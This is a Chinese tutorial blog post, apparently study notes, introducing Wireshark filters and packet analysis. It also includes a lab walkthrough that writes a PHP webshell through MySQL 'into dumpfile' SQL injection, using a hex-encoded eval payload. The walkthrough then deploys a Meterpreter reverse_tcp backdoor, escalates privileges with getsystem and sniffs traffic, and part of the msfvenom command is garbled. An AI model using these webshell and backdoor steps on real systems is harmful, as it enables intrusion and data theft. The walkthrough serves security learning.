第五章-1 Wireshark的初步入门

每日一句:不好意思,这个章节晚了太久,之前认为用处不大没怎么总结。直到在项目中用到了,才发现没有总结。反面例子与教训。本文内容:~Wireshark简介~Wireshark初步使用~MSF嗅探数据包分析~WSExplorer分析

目的: 快速上手初步使用Wireshark
一、Wireshark简介
1.定义 Wireshark是世界上最流行的网络分析工具。这个强大的工具可以捕捉网络中的数据,并为用户提供关于网络和上层协议的各种信息。值得注意的是Wireshark只能查看数据包,而不能修改数据包的内容,或者发送数据包。所以,对于一些http/https的数据包还是较为推荐burp进行测试。当然,大鲨鱼的优点也很明显,它支持(能抓到)的协议很多很多,一些网络工程师会经常用这个软件分析流量、学习一些协议。 2.位置 官网: https://www.wireshark.org下载地址:https://www.wireshark.org/#downloadWiki: https://wiki.wireshark.org/ 3.作用 我们可以通过Wireshark进行分析网络进程的数据包

二、Wireshark初步使用
0.简单介绍 (1) Wireshark是对网卡上数据的捕获,所以如果电脑上有多个网卡的话,需要对网卡进行一个选择。可以通过cmd的命令: ipconfig进行查看本机的网卡。万一选错了,怎么办?点击小鲨鱼尾巴旁边的 “ 停止捕获分组 ” ,之后选择鲨鱼尾巴上的“ 文件 ” -- “ 关闭 ”即可。(2) Wireshark的主要窗口分为5个,从到往下,依次为: 过滤器:支持一些语法的使用,方便快速找出信息封包列表 :显示捕获到的一些封包数据,如源地址、目标地址、端口号、颜色不同,代表的数据也不相同。第一列的No是捕获序号,第二列的Time是相对捕获时间(从第一个包开始,你点击开始的那一刻)接着就是Source,来源的MAC地址 Destination,目标的MAC地址长度、协议、Info(详细描述)补充:在选择一条数据的时候,“ No. ”的下边会出现一些友好的小图标封包详细信息:主要是有一些封包的字段Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)//这个里面是物理层的一些信息Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_be:ab:21 (00:0c:29:be:ab:21)//这个里面是一些数据链路层的信息Internet Protocol Version 4, Src: 192.168.88.1, Dst: 192.168.88.132//这个里面是一些网络层的信息,一般有一些自己的IP与目标IP的信息Transmission Control Protocol, Src Port: 40725, Dst Port: 80, Seq: 0, Len: 0//传输层的信息,一般有一些端口信息(本机的,目标的),三次握手信息Hypertext Transfer Protocol//应用层的一些信息16进制信息 :一些16进制数据其实,当你选中一些 “ 封装详细信息 ”内容的时候,这个里面就会出现对应的16进制内容,有些未加密的内容,在右边会显示。最下边一小层是地址栏一般显示有多少条数据流记录 1.比较运算符和逻辑运算符 Comparison operators (比较运算符):可以使用6种比较运算符: 英文写法:C语言写法:含义:eq==等于 ne!=不等于 gt>大于 lt<小于 ge>=大于等于 le<=小于等于Logical expressions(逻辑运算符):英文写法:C语言写法:含义:and&&逻辑与 or||逻辑或 xor^^逻辑异或 not!逻辑非 2.常见过滤器(1)协议过滤语法: 协议 .请求 .方法(可不写) 比较运算符值逻辑运算符(可不写)其他表达 例如: httprequestmethod=="POST"oricmp.type上实例分析: http.request.method == "POST" or icmp.type显示POST请求的数据包或者icmp协议的数据包ip.addr == 192.168.88.1显示IP地址192.163.88.1相关的数据包(包括发送的包与返回的包)ip.src =https://www.it610.com/article/= 10.230.0.0/16显示来自10.230.0.0/16网段的数据包http.host =="192.168.88.132"显示主机192.168.88.132相关的数据包tcp.port == 25显示来源或目的TCP端口号为25的数据包tcp.dstport == 25显示目的TCP端口号为25的数据包http.response.code==302显示http响应状态码为302的数据包(2)内容过滤contains :Does the protocol, field or slice contain a valuetcp contains "http"显示包含"http"字符串的tcp数据包http.host contains “192.168.88.132”显示包含主机192.168.88.132的数据包(3)注意~在过滤器那个地方,使用语法错误或者不全都会导致框内颜色变红。~命令太多,记不住怎么办?点击过滤器框右边的 “ 表达式 ” 根据自己的印象选择,然后点击“ ok ”即可。 3.分析一些现成的数据包(0)前提之前朋友给的一个XSS的数据包,正好一起来试试手。(文件名称:xss.pcap)(1)步骤(分析arp协议)点击小鲨鱼尾巴上边的“ 文件 ” -- “ 打开 ” -- 选择 xss.pcap,在过滤器,输入: arp3第一行的内容为:4.000000 Vmware_be:ab:21 Broadcast ARP 42Who has 192.168.88.1? Tell 192.168.88.132从这,就可以简单分析一下arp协议的过程,即知道MAC地址,寻找IP。如上述的详细处的意思:在网络中广播,谁是192.168.88.1,请告诉192.168.88.132第二行的内容为:4 4.000000 Vmware_c0:00:08 Vmware_be:ab:21 ARP 60192.168.88.1 is at 00:50:56:c0:00:08意思是,我是192.168.88.1,我得MAC地址是XXX,来给我发消息吧这个时候,在过滤器中,输入tcp,就可以发现上述两个IP之间开始TCP的三次握手了。注意:~在本机做测试中,需要先打开本机的CMD,输入arp -d 清理一下arp缓存~清理完毕后,可以用命令,arp -a来查看本机的arp缓存表~打开wireshark开启监听;然后ping一下虚拟机的IP地址。~暂停Wireshark的监听,在次查看arp的缓存表应该会到一条记录~按照上述方法,既可在wrieshark中查看整个过程~当下次在ping虚拟机的时候,就不会问,虚拟机的MAC地址是多少而直接ping对应的了。(2)数据包上述的XSS数据包,有需要的可以私我。另外大家练习分析数据包的话,可以去大白鲨的官网去下载。官方提供了很多情况的数据包,应该也有对应的文章解析。 //下载地址: https://wiki.wireshark.org/SampleCaptures这是很不错的资源分享,因为一些数据包的获取,需要一些特殊环境才能抓到。另外,想学一些协议的时候,用大鲨鱼看看发送与返回包会学的很快。比如,有可以在我分享的那个XS.pcap中找找三次握手的包进行分析一下。(看看SYN、ACK的数值变化)是不是符合,SYN=0--->SYN=1,ACK=0---> ACK=1 这样的变化是不是紧紧挨着上述三个包的,第四个包就是如HTTP协议的信息了。当然,有的SYN并不是0,有可能是1、22、66、n等。但是不管是什么,紧接着返回包的值一定是:2、23、67、n+1等 ;ACK也是这个情况。 4.wireshark的追踪流功能功能作用: 选择某条记录,点击追踪TCP流,跳到该菜单后,主面板上包列表里,仅列出本次TCP会话的包。上两个前辈的示例:https://blog.51cto.com/yttitan/1737904https://blog.51cto.com/yttitan/1738099还是推荐大家看看

三、MSF嗅探数据包分析
1.总体思路 通过Mysql漏洞拿到webshellwebshell上传MSF后门MSF开启嗅探数据wireshark分析数据包 2.具体 (1)通过Mysql写日志拿到webshellsql导出文件的语句:~into outfile~into dumpfile举例:语句: select 1,2,3 into dumpfile 'C:\\www\\123.txt'作用: 在“c:\www\”目录下新建123.txt。 其内容为“123”进阶:通过此方式写一句马语句: select 1,2'' into dumpfile 'C:\\www\\123.php'作用: 在“c:\www”目录下新建123.php文件,内容为一句马注意: (1.1)这个函数(into dumpfile)在mysql高版本是默认不开启的类似的还有load_file(),一般这两个函数要开启都会开启(1.2)如何存在堆叠注入(即可以同时执行多条语句),可以通过日志的方法写webshell。(1.3)在phpstudy修改默认状态后,需要重启生效(1.4)在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误实战中的语句:url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php"即在浏览器URL中的语句,但是这么写真的没什么问题吗?慢慢向下看。补充:(2.1)这个路径怎么获得?通过sql报错注入,使服务器爆出路径若爆不出,只能靠猜了。当然也可以配合别的攻击手段使爆出绝对路径(2.2)第一次写文件,建议先写一个txt文档,成功后在写php文件可以看看自己写到txt的代码有没有问题,避免一些悬学问题(2.3)一句马内容若直接写“”肯定报错因为url栏中“?”一般代表传参,会冲突。(2.4)那一句马怎么写?将一句马内容16进制编码。即得到:“3c3f7068706576616c28245f524551554553545b385d293f3e”注意:16进制编码会将空格默认去掉,即上边的编码,解码后是这样的:而php中,那个空格是格式,这样的代码是会报错的。怎么办?----->加空格! (空格的16进制编码是20),即在“3c3f706870”后加“20”。事实上,3c3f706870就是是‘ shell.exe补充: -p指定payload;; -e指定编码平台-i指定编码次数;; -f指定文件输出格式lhost监听机的IP;; lport监听机的端口msfvenom MSF的编码模块;; windows/meterpreter/reverse_tcp一个反弹shell的payload//这个木马被生成在主目录文件夹下。(2.2)开启监听将生成的木马,通过蚁剑丢过去。在MSF中开启监听,命令如下:" use exploit/multi/handler "然后"options",查看需要配置什么,"set payload windows/meterpreter/reverse_tcp"在options查看,需要配置什么,"set lhost 192.168.221.143""set lport 1250""run"(2.3)运行木马回到蚁剑,打开蚁剑命令执行终端,"cd C:/phpstudy/XXXXXXX/WWW/""shell.exe"此时,MSF那边应该就已经拿到了会话。(2.4)提升权限在MSF中运行命令,看看当前服务器信息能不能查看(验证是否成功获取会话) -->"sysinfo"查看当前权限:"getuid"尝试直接提权:"getsystem"在次查看权限:"getuid" 在靶机目标这样直接提权成功,估计几乎没打什么补丁。(3)MSF开启嗅探数据加载嗅探模块命令: "load sniffer" 回车出现“xxxx success”表示加载成功开启嗅探:直接输入 " ? "可以查看sniffer有哪些常用命令"sniffer_interfaces"查看可加载哪些网卡,"sniffer_start 2"监听第二个网卡("ps"列出此时系统的所以进程及其进程ID信息)(可不运行此命令)"sniffer_stop 2"停止监听"sniffer_dump 2 Test.pcap" 导出刚刚监听网卡的数据包到Test.pcap//此文件应该被保存到 本地“ 主目录 ”下边了(4)wireshark分析数据包可以用wireshark打开Test.pcap,去找找一些有趣(无聊)的信息

【第五章-1 Wireshark的初步入门】四、WSExplorer分析
这是一个类似wireshark的软件,但是不用设置网卡。打开可以抓到电脑上软件交互的信息。比如,我们将此软件打开,在打开一个含有后门的软件(如之前搞到一个含后门的菜刀)。同时将这两个应用打开,可以很明显的在WSExplorer中发现这个菜刀向某Host的某目录发送POST包 进行交互请求,而且这个请求地址明显不是官方的。 这两个软件有兴趣的可以私聊我要,建议在虚拟机打开玩玩,尽量不要在本机真实环境下养蛊。

    推荐阅读